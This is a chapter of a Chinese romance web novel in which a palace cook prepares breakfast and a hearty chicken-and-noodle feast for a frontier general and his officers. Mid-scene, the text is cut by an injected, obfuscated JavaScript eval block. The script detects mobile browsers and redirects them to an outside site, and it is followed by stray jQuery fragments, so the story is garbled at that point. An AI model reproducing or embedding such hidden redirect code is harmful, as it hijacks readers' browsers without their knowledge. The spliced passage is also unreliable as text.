极致的酥脆在齿间炸开，紧接着是内里千层般的柔软与韧劲。


    萧燕瑾沉默地咀嚼着，动作不快，却异常专注，一块巴掌大的三角饼很快消失在手中，他拿起苏蛮蛮放在一旁的布巾，慢条斯理地擦了擦嘴角和指尖沾上的油渍和碎屑。


    苏蛮蛮看着他，等待着他吃完后千篇一律的“尚可”或者“一般”的评价，然而萧燕瑾擦完手并没有评价食物，反而抬眸看向她，目光沉静地问了一句，“手，还疼吗？”


    苏蛮蛮微微一怔，没想到他会问这个，“谢...谢将军关心，上了药，不碍事了。”她低声回答。


    萧燕瑾的目光在她背在身后的手上停留了一瞬，随即移开，重新落回案板上那还剩下大半的酱香饼和依旧热气氤氲的胡辣汤上。


    “这饼，”他顿了顿，“再切一块。”


    苏蛮蛮立刻拿起刀，动作麻利地切下一块更大的三角饼，用干净的盘子托着，再次递给他，这一次萧燕瑾伸手接了过来。


    随即他端着饼和汤，走到厨房靠窗那张简陋的榆木小方桌的旁边，那是苏蛮蛮和李妈妈她们平日里吃饭歇脚的地方。


    他拉开了一张凳子，坐了下来，姿态自然得仿佛他本来就该坐在那里，他将盘子放在桌子上，拿起那块酱香饼咬了一口，又端起粗陶碗喝了一口热汤。


    晨光透过糊着高丽纸的窗户，柔和地洒在他的身上，在他轮廓分明的侧脸镀上一层浅金，他吃得很安静很专注。


    苏蛮蛮站在原地，看着这一幕有些恍惚，那个高高在上的将军，此刻正坐在她每日吃饭的小桌前，就着粗陶碗，吃着最普通的酱香饼和胡辣汤。


    萧燕瑾吃完了第二块饼，喝光了第二碗汤，他放下粗陶碗，碗底干净得如同洗过。


    “汤里的茱萸，放少了。”他站起身走到门口，脚步顿住没有回头，“下次，多放些。”


    说完，他推开门，高大的身影融入了门外渐亮的晨光之中，留下厨房里望着他背影的苏蛮蛮。


    新年的第一缕阳光，终于透过窗棂，暖洋洋地照在了她沾着面粉的脸上。


    收拾好东西，吃过早膳，她又开始忙碌着其他的东西。


    ......


    夕阳的余晖将凉州城染成了一片赤金，边塞的风带着白日未散的燥热，卷起了将军府演武场上的黄沙。


    萧燕瑾一身玄色劲装，立于高台之上，他刚刚结束了一场持续两个时辰的沙盘推演，与几位副将敲定了开春后的一次深入草原清剿方略。


    苏蛮蛮得到总管的传话之时，正对着厨房角落里那堆从地窖里翻出来的土豆和青红椒发愁，将军点名要一道“管饱”且有“西域风”还要“能下酒”的硬菜，犒劳众将士。


    她的脑子里就只飘出了那一个名字：新疆大盘鸡。


    “李妈妈！周妈妈！”苏蛮蛮扬声，“把那口最大的铁锅刷出来，再帮我宰两只最肥的走地鸡，要现宰的，记得斩大块哦！土豆削皮切滚刀块，也要大！青椒红椒去籽切大块！”


    说完这些，她自己便去一边翻翻找找，终于找到了之前还剩下的一点干辣椒，不拘什么红的还是野的，全都拿了出来。


    厨房里瞬间热火朝天，李妈妈和周妈妈虽不明就里，但还是乖乖地行动了起来，两只肥硕的走地鸡很快处理干净，斩成了比寻常鸡块还要大上一倍的豪迈块头，白生生的骨茬露着，土豆块切得足有半个拳头那么大，青红辣椒的块头也是毫不吝啬。


    苏蛮蛮走到放香料的架子前，将孜然粒、小茴香粉、干辣椒段不论红的还是暗红的还是野山椒都大量取出，没有郫县豆瓣酱，她便用府里自己酿制的浓稠豆酱替代，又狠狠舀了一勺蜂蜜来中和酱的咸涩。


    几块姜被拍得四分五裂，一大把蒜瓣剥好备用。


    最大的那口生铁锅被架在猛火上，烧得锅底发红，苏蛮蛮舀起一大勺澄亮的油，“滋啦——”一声，油花四溅。


    油温升至滚烫冒青烟的时候，她毫不犹豫地将沥干水分的鸡块一股脑儿倾入锅中！


    滚油与带着水汽的鸡块猛烈碰撞，激起冲天的油烟，鸡块在热油中疯狂翻滚，表皮以肉眼可见的速度收缩、变色，由粉白迅速染上诱人的金黄，边缘甚至开始出现焦脆的褐色。


    苏蛮蛮挥动着沉重的铁铲，用力翻炒着锅中的鸡块，手臂肌肉绷紧，汗水顺着额角滑落，她要的就是这极致的高温快炒，锁住肉汁然后逼出油脂，直到鸡块通体金黄，油脂被逼出了一大半，锅底积起；一层清亮的鸡油，她才将鸡块盛出来备用。


    锅中留下宝贵的鸡油，投入拍裂的姜块，整颗的蒜瓣，一大把葱段，还有一小把花椒，热油瞬间讲这些辛香之物炸出浓烈的香气，紧接着苏蛮蛮舀起那碗混合了豆酱和蜂蜜的深褐色酱料倒入滚油之中。


    “滋啦——哗！”


    又是一阵更加狂暴的沸腾！


    苏蛮蛮却恍若未觉，眼神专注得可怕，她将之前炒好的鸡块重新倒回这沸腾的酱色熔炉之中快速翻炒，让每一块鸡肉都均匀地裹上这浓稠油亮，散发着致命诱惑的酱汁。


    鸡块迅速染上了深沉诱人的酱红色，“加水，没过鸡块！”她大声说着。


    滚烫的开水注入锅中，白浪翻滚暂时压制住了沸腾的酱，苏蛮蛮将准备好的香料全数撒入锅中，最后投入切好的土豆大块。


    “盖上，大火烧开，转中火炖！”她利落地盖上沉重的木锅盖，留得有一丝丝的缝隙，锅内的世界在高温高压下开始蜕变，汤汁激烈的翻滚着，发出沉闷的“咕嘟”声，浓郁的香气透过缝隙钻出来。


    等待的过程中，苏蛮蛮也没有闲着，她取过一大盆上好的高筋面粉开始和起面来，没有皮带面的宽厚柔韧，她就用反复揉压和醒面来增加筋性。


    约莫两刻钟后，锅内的“咕嘟”声变得沉稳起来，苏蛮蛮掀开锅盖，汤汁已经收浓了许多，呈现出一种油亮深沉的酱红色，土豆块的边缘开始变得透明，鸡块在浓汁中沉沉浮浮，吸饱了精华。


    就是现在！


    她将切好的青椒块和红椒块撒入锅中，快速翻炒几下，让青椒和红椒裹上酱汁，却依旧能够保持着爽脆的口感，最后撒上一大把翠绿的香菜段。


    “起锅！”


    苏蛮蛮和李妈妈合力将这一锅分量极大的“边塞大盘鸡”端离了火口。


    与此同时，苏蛮蛮将醒好的面团擀开成厚片，切成二指宽一掌长的厚实面片，另外起一锅宽水烧沸，将面片投入翻滚的白浪中煮熟，捞出来沥干水分，铺在一个巨大的粗陶盆底。


    最后一步则是将那口沉甸甸的大铁锅中的酱汁和丰盛的内容倾倒在盆中雪白筋道的面条之上。


    演武场旁边的敞轩里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752638|173950||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，灯火通明，巨大的榆木方桌上酒坛林立。


    萧燕瑾端坐主位，谢允和几位刚从沙盘推演中下来的副将分坐两旁，众人脸上都带着些许疲惫。


    苏蛮蛮和李妈妈抬着那个巨大粗陶盆走进敞轩，所有的交谈声和碰杯的声音都戛然而止，所有人的目光都齐刷刷地投向那口盆。


    “我的亲娘！这......这是什么味儿？”一个满脸虬髯的副将瞪大了牛眼，喉结剧烈滚动。


    “香啊！霸道！够劲儿！”另一个身材魁梧的将领使劲儿吸着鼻子。


    “苏姑娘，你这是又弄了什么神仙玩意儿？”谢允眼睛都直了，迫不及待地搓着手。


    苏蛮蛮没说话，只是上前一步，在李妈妈的协助下猛地掀开了盆盖。


    深红油亮的浓稠酱汁浸泡着下方隐约可见的雪白面条，酱汁之上堆叠着金黄焦香的巨大鸡块，吸饱了酱汁的滚刀土豆块，色彩鲜艳的青红椒，翠绿的香菜段点缀，大把的孜然粒和红亮的干辣椒段就像是散落的宝石一般，在灯火下闪烁着诱人的油光。


    “大盘鸡，请将军和诸位品尝。”苏蛮蛮的声音在满堂的吸气声中响起。


    无需多言，侍女们立刻上前分食，巨大的鸡块、绵软的土豆、爽脆的椒块、浸润了浓汁的面条，被盛入一个个粗瓷海碗中，送到每个人面前。


    谢允第一个忍不住，夹起一块连着鸡皮的肉，吹都不吹一口就咬了下去。


    “唔——！”一声闷哼，带着极致的满足。


    “痛快！”虬髯副将狠狠咬下一大块鸡肉，烫得直哈气也舍不得吐，含糊不清地大吼，“够味！够劲儿！这才是我边关二郎该吃的菜啊！”


    “香！真他娘的香！这味儿，绝了！哈哈哈！”魁梧将领连着扒了好几口裹满酱汁的面条，又灌了一大口烈酒，脸上露出了酣畅淋漓的笑容，“太过瘾了！比咱干仗那会儿啃干粮强百倍啊！”


    “这土豆绝了啊，比肉还香！”


    “这面真筋道！吸溜着这汤汁，就是神仙来了也不换！”


    萧燕瑾也端起了面前的海碗，他没有像其他人那样狼吞虎咽，先是夹起了一块土豆送进口中，接着他又夹起一块鸡翅中慢慢地啃着。


    这时虬髯副将扭头看向苏蛮蛮，笑着说道：“苏姑娘，你可婚配啊？”


    苏蛮蛮有些愣住了，李妈妈轻轻戳了戳她，她这才反应过来，双手举起来摇晃着，“啊，我还，还没呢！”


    “不如我向将军求娶你，你看怎么样？”他一脸真诚。


    苏蛮蛮有些不知道该如何回答，看着桌上的其他人都开始起哄着，她只是慌乱地摇着手，这阵仗她也没见过啊。


    “呵....呵呵呵.....”她微微行礼，“感谢副将抬爱，奴婢还小，还不想考虑婚嫁之事。”


    谢允看向他，笑着说道：“你啊，就别想了，我苏妹子要嫁也不会嫁给你啊！”


    “咋，那嫁给你啊？”


    “哈哈哈哈——”


    又是一阵起哄，苏蛮蛮在一旁直接不说话了一直低着头。


    萧燕瑾看了看苏蛮蛮一眼，将筷子放在碗上没有说话，只是拿起酒壶将自己面前的空杯甄满，一口饮尽不轻不重地将酒杯放在桌上，声音不大，但是所有人都能听见，瞬间停止了玩笑。


    “她的主意，谁也不能打。”